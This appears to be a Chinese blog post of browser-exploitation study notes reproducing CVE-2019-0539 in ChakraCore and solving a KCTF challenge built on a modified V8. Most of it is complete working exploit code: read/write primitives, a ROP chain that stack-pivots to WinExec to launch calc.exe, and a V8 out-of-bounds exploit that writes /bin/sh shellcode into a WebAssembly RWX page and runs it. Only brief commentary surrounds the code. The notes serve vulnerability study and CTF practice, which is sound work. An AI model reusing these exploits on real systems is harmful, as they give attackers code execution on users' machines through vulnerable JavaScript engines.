文章目录
漏洞复现
- 本次整理的是浏览器漏洞利用入门相关笔记
- 下期预告:IoT固件中的命令注入/NotePad++最新字符集漏洞之从PoC到exp
CVE-2019-0539 Chakra TypeConfusion
environ:Win10,ChakraCore commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
Chakra漏洞经典调试笔记链接
漏洞分析
任意地址读写原语
function int64(low,high)
{
this.low = low;
this.high = high;
}
function hex(x) {
return "0x" + x.toString(16);
}
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
BASE = 0x100000000;
var op=[1,2,3,4];
op1={};
op1.a=op;
function opt(o, c, value) {
o.b = 1;
class A extends c {}
o.a = value;
}
function main() {
for (let i = 0; i < 20000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o;
opt(o, cons, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = dv2; // dv1->buffer = dv2 (Step 3)
let addrof=function(t){
op1.a=t;
obj.h=op1;
vtable_lo = dv1.getUint32(32, true);
vtable_hi = dv1.getUint32(36, true);
}
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(0, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
print(hex(vtable_lo + vtable_hi * BASE));
// read first vtable entry using the RW primitive
print(hex(read64(vtable_lo, vtable_hi)));
// write a value to address 0x1111111122222222 using the RW primitive (this will crash)
write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}
main();
ROP办法
PEB读栈基址,随后栈迁
CFG与bypass
EXP(calc.exe)
莫名其妙,在WinExec
里面炸了
问题解决了 WinExec
底层调用CreateProcessInternalA
的时候调用了simd指令集的movaps
,只需要让rsp 0x10对齐即可
function int64(low,high)
{
this.low = low;
this.high = high;
}
function hex(x,y=0) {
if (y==0) {
return "0x" + x.toString(16);
}else{
return x.toString(16);
}
}
function ValidAddr(ad_h){
// console.log(hex(ad_h));
if(ad_h <= 0x7fff && ad_h >= 0x7ff0){
return true;
}else{
return false;
}
}
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
BASE = 0x100000000;
var op=[1,2,3,4];
op1={};
op1.a=op;
function opt(o, c, value) {
o.b = 1;
class A extends c {}
o.a = value;
}
function main() {
for (let i = 0; i < 20000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o;
opt(o, cons, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
// obj.h = dv2; // dv1->buffer = dv2 (Step 3)
let addrof=function(t){
op1.a=t;
obj.h=op1;
vtable_lo = dv1.getUint32(32, true);
vtable_hi = dv1.getUint32(36, true);
return new int64(vtable_lo, vtable_hi);
}
let read64 = function(addr) {
obj.h = dv2;
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr.low, true);
dv1.setUint32(0x3C, addr.high, true);
// read from addr (Step 5)
return new int64(dv2.getUint32(0, true), dv2.getUint32(4, true));
}
let write64 = function(addr, value) {
obj.h = dv2;
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr.low, true);
dv1.setUint32(0x3C, addr.high, true);
// write to addr (Step 5)
dv2.setInt32(0, value.low, true);
dv2.setInt32(4, value.high, true);
}
let write128 = function(addr, value1,value2){
obj.h = dv2;
dv1.setUint32(0x38, addr.low, true);
dv1.setUint32(0x3C, addr.high, true);
dv2.setInt32(0, value1.low, true);
dv2.setInt32(4, value1.high, true);
dv2.setInt32(8, value2.low, true);
dv2.setInt32(12, value2.high, true);
}
obj_addr = addrof(op);
console.log("OBJ\t",hex(obj_addr.low+(BASE*obj_addr.high),1))
let chakra_base = read64(obj_addr);
chakra_base.low -= ((chakra_base.low)&0xfff);
for (;;) {
chakra_base.low -= 0x1000;
// console.log(hex(chakra_base.high),hex(chakra_base.low));
if (read64(chakra_base).low == 0x905a4d) {
break;
}
}
console.log("ChakraCore.BASE\t",hex(chakra_base.low+(BASE*chakra_base.high),1));
let IAT = new int64(chakra_base.low,chakra_base.high);
for (;;) {
IAT.low += 0x1000;
let tmp0 = new int64(IAT.low,IAT.high);
let tmp1 = new int64(IAT.low+0x8,IAT.high);
let tmp2 = new int64(IAT.low+0x10,IAT.high);
let tmp3 = new int64(IAT.low+0x18,IAT.high);
if(ValidAddr(read64(tmp0).high) && ValidAddr(read64(tmp1).high) && ValidAddr(read64(tmp2).high) && ValidAddr(read64(tmp3).high)){
break;
}
}
console.log("ChakraCore.IAT\t",hex(IAT.low+(BASE*IAT.high),1));
sundry_ptr = new int64(IAT.low+0x50,IAT.high);
let KERNEL32 = read64(sundry_ptr);
KERNEL32.low -= ((KERNEL32.low)&0xfff);
for (;;) {
KERNEL32.low -= 0x1000;
if (read64(KERNEL32).low == 0x905a4d) {
break;
}
}
console.log("KERNEL32.BASE\t",hex(KERNEL32.low+(BASE*KERNEL32.high),1));
let KIAT_lstrlenA = new int64(KERNEL32.low+0x76130,KERNEL32.high);
let j_WinExec = new int64(KERNEL32.low+0x5e670,KERNEL32.high);
let pop_rsp = new int64(KERNEL32.low+0x10baa,KERNEL32.high);
let pop_rcx = new int64(KERNEL32.low+0x1adf3,KERNEL32.high);
let mov_edx = new int64(KERNEL32.low+0x3454a,KERNEL32.high);
let retn = new int64(KERNEL32.low+0x34551,KERNEL32.high);
console.log("POP RSP\t",hex(pop_rsp.low+(BASE*pop_rsp.high),1))
sundry_ptr = new int64(IAT.low+0x40,IAT.high);
let NTDLL = read64(sundry_ptr);
NTDLL.low -= ((NTDLL.low)&0xfff);
for(;;){
NTDLL.low -= 0x1000;
if(read64(NTDLL).low == 0x905a4d){
break;
}
}
console.log("NTDLL.BASE\t",hex(NTDLL.low+(BASE*NTDLL.high),1));
console.log("USE KERNEL32 AND NTDLL TO LEAK AND ROP");
dv1.setUint32(0x38,obj_addr.low+0x108,true);
dv1.setUint32(0x3c,obj_addr.high,true);
let shell = [0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00];
for(let i = 0; i < shell.length; i++){
dv2.setUint8(i,shell[i]);
}
console.log("LEAK");
let ptr2pebLdr = new int64(NTDLL.low+0x15c360-0x28,NTDLL.high);
let PEB_ADDR = read64(ptr2pebLdr);
console.log("PEB\t",hex(PEB_ADDR.low+(BASE*PEB_ADDR.high),1));
let ptr2stackbase = new int64(PEB_ADDR.low+0x50,PEB_ADDR.high);
let stack_base_mid = read64(ptr2stackbase);
console.log("STACK_jmp\t",hex(stack_base_mid.low+(BASE*stack_base_mid.high),1));
let ptr2rbp = new int64(stack_base_mid.low-0x4c0,stack_base_mid.high);
let STACK_PTR = read64(ptr2rbp);
let RSP_RET = new int64(STACK_PTR.low-0x1000+0x68,STACK_PTR.high);
console.log("RSP\t",hex(RSP_RET.low+(BASE*RSP_RET.high),1));
let dv3 = new DataView(new ArrayBuffer(0x1000));
let dv_addr = addrof(dv3);
console.log("PREPARE PIVOT\t",hex(dv_addr.low+(BASE*dv_addr.high),1))
obj_addr.low += 0x108;
write64(dv_addr,pop_rcx);
dv_addr.low+=8;
write64(dv_addr,obj_addr);
dv_addr.low+=8;
write64(dv_addr,mov_edx);
dv_addr.low+=8;
write64(dv_addr,retn);
dv_addr.low+=8;
write64(dv_addr,j_WinExec);
dv_addr.low-=0x20;
write128(RSP_RET,pop_rsp,dv_addr);
}
main();
KCTF-Q3 d8 (v8整型溢出魔改版)
environ:Ubuntu18.04, commit=a2e86bf6dc0dd260455ae6ceacec0f7869d965a3
漏洞分析
漏洞成因:FastElement
基类中的FillImpl
方法未对执行fill(elements,start,end)
时的end
和capacity
进行第二轮校验
(第一轮校验为Runtime_ObjectGetOwnPropertyNamesTryFast
)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 13a35b0cd3..3211a43525 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1691,7 +1691,7 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
}
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
- Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+ Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);/*
global_template->Set(
String::NewFromUtf8(isolate, "print", NewStringType::kNormal)
.ToLocalChecked(),
@@ -1879,7 +1879,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
String::NewFromUtf8(isolate, "async_hooks", NewStringType::kNormal)
.ToLocalChecked(),
async_hooks_templ);
- }
+ }*/
return global_template;
}
diff --git a/src/objects/elements.cc b/src/objects/elements.cc
index 6e5648d2f4..5e259925dc 100644
--- a/src/objects/elements.cc
+++ b/src/objects/elements.cc
@@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> {
}
// Make sure we have enough space.
- uint32_t capacity =
- Subclass::GetCapacityImpl(*receiver, receiver->elements());
- if (end > capacity) {
- Subclass::GrowCapacityAndConvertImpl(receiver, end);
- CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
- }
DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements()));
for (uint32_t index = start; index < end; ++index) {
需绕过Runtime_ObjectGetOwnPropertyNamesTryFast
V8_WARN_UNUSED_RESULT bool TryFastArrayFill(Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,Handle<Object> value, double start_index, double end_index) {
// If indices are too large, use generic path since they are stored as
// properties, not in the element backing store.
if (end_index > kMaxUInt32) return false;
if (!receiver->IsJSObject()) return false;
if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) {
return false;
}
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
// If no argument was provided, we fill the array with 'undefined'.
// EnsureJSArrayWith... does not handle that case so we do it here.
// TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when
// it gets refactored.
if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) {
// Use a short-lived HandleScope to avoid creating several copies of the
// elements handle which would cause issues when left-trimming later-on.
HandleScope scope(isolate);
JSObject::TransitionElementsKind(array, PACKED_ELEMENTS);
}
uint32_t start, end;
CHECK(DoubleToUint32IfEqualToSelf(start_index, &start));
CHECK(DoubleToUint32IfEqualToSelf(end_index, &end));
ElementsAccessor* accessor = array->GetElementsAccessor();
accessor->Fill(array, value, start, end);
return true;
}
触发漏洞
写出PoC,触发FastElement的稳定向后溢出
arr = [];global = [];arr.length = 65536;
editend = {valueOf:function(){arr.length = 32;arr.fill(1);let arr0 = [1.1,1.1,1.1,1.1];global = arr0;return 0x2a;}};
x = arr.fill(0x66666666,0x29,editend);
漏洞利用
- 通过向后覆写改写下一个FastDoubleArray的size,造成OOB持久化,从而为接下来稳定的任意地址读写打下基础
-
通过改写FastElement中的elements指针实现任意地址读,从而实现read64原语,并通过wasm的JIT特性开启RWX的内存段用以执行shellcode
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; arr = []; global = []; arr.length = 65536; iCallback = {valueOf:function(){ arr.length = 32; arr.fill(2.2); let arr0 = [1.1,1.1,1.1,1.1]; global = arr0; return 0x2a; } }; x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback); var ab = new Array(0x20); ab.fill(0,0x20,1,1); leak = Int64.fromDouble(global[5]); pde_map = Int64.fromDouble(global[4]); gb_sto = Int64.fromDouble(global[6]); proc_heap = Int64.fromDouble(global[12]); function i2f(i) { var x = (new Int64(i)).asDouble(); } function AddrOf(obj) { global[10] = new Int64(gb_sto-0x100).asDouble(); ab[1] = obj; obj_addr = Int64.fromDouble(arr[3]); return obj_addr; } function read64(addr) { global[10] = new Int64(addr-0x10).asDouble(); return ab[0]; } var obj = {"a": 1}; var obj_array = [obj]; var float_array = [1.1]; var fake_array = [pde_map,i2f(0),i2f(0x41414141),i2f(0x1000000000),1.1,2.2]; var f_addr = AddrOf(f); console.log(hex(f_addr)); var shared_info_addr = AddrOf(read64(Add(f_addr,0x18))); console.log(hex(shared_info_addr)); var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8))); console.log(hex(wasm_exported_func_data_addr)); var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10))); console.log(wasm_instance_addr); var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80))); console.log(rwx_page_addr);
最终劫持ArrayBuffer的Backing Store达成任意地址写,执行被篡改为shellcode的wasm
var buf =new ArrayBuffer(16); var float64 = new Float64Array(buf); var bigUint64 = new BigUint64Array(buf); function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++){ res.push(('0' + bytes[i].toString(16)).substr(-2)); } return res.join(''); } function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string"); var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); return bytes; } var Struct = (function() { var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function(type, value) { var view = type; view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; byteView.set(bytes); return view[0]; }, int8: byteView, int32: uint32View, float64: float64View }; })(); function Int64(v) { var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } this.asDouble = function() { if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double"); return Struct.unpack(Struct.float64, bytes); }; this.asJSValue = function() { if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue"); this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; this.bytes = function() { return Array.from(bytes); }; this.byteAt = function(i) { return bytes[i]; }; this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); }; function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2); this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; } return this; }, 2); this.assignAnd = operation(function and(a, b) { for (var i = 0; i < 8; i++) { bytes[i] = a.byteAt(i) & b.byteAt(i); } return this; }, 2); } Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); }; function Add(a, b) { return (new Int64()).assignAdd(a, b); } function hex(a) { if (a == undefined) return "0xUNDEFINED"; var ret = a.toString(16); if (ret.substr(0,2) != "0x") return "0x"+ret; else return ret; } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; arr = []; global = []; arr.length = 65536; iCallback = {valueOf:function(){ arr.length = 32; arr.fill(2.2); let arr0 = [1.1,1.1,1.1,1.1]; global = arr0; return 0x2a; } }; x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback); var ab = new Array(0x20); ab.fill(0,0x20,1,1); var aaw = new ArrayBuffer(0x20); aaw[0] = 1.111111; leak = Int64.fromDouble(global[5]); pde_map = Int64.fromDouble(global[4]); gb_sto = Int64.fromDouble(global[6]); proc_heap = Int64.fromDouble(global[12]); function i2f(i) { var x = (new Int64(i)).asDouble(); } function AddrOf(obj) { global[10] = new Int64(gb_sto-0x100).asDouble(); ab[1] = obj; obj_addr = Int64.fromDouble(arr[3]); return obj_addr; } function read64(addr) { global[10] = new Int64(addr-0x10).asDouble(); return ab[0]; } function i2f2(i) { bigUint64[0] = i; return float64[0]; } var f_addr = AddrOf(f); console.log(hex(f_addr)); var shared_info_addr = AddrOf(read64(Add(f_addr,0x18))); console.log(hex(shared_info_addr)); var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8))); console.log(hex(wasm_exported_func_data_addr)); var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10))); console.log(wasm_instance_addr); var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80))); console.log(rwx_page_addr); var shellcode=[0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n]; var data_view = new DataView(aaw); var backing_store_addr = AddrOf(aaw)+0x20; global[0x32] = new Int64(rwx_page_addr).asDouble(); data_view.setFloat64(0, i2f2(shellcode[0]), true); data_view.setFloat64(8, i2f2(shellcode[1]), true); data_view.setFloat64(16, i2f2(shellcode[2]), true); f();
更加具体的分析
写在自己的WP里了
最新评论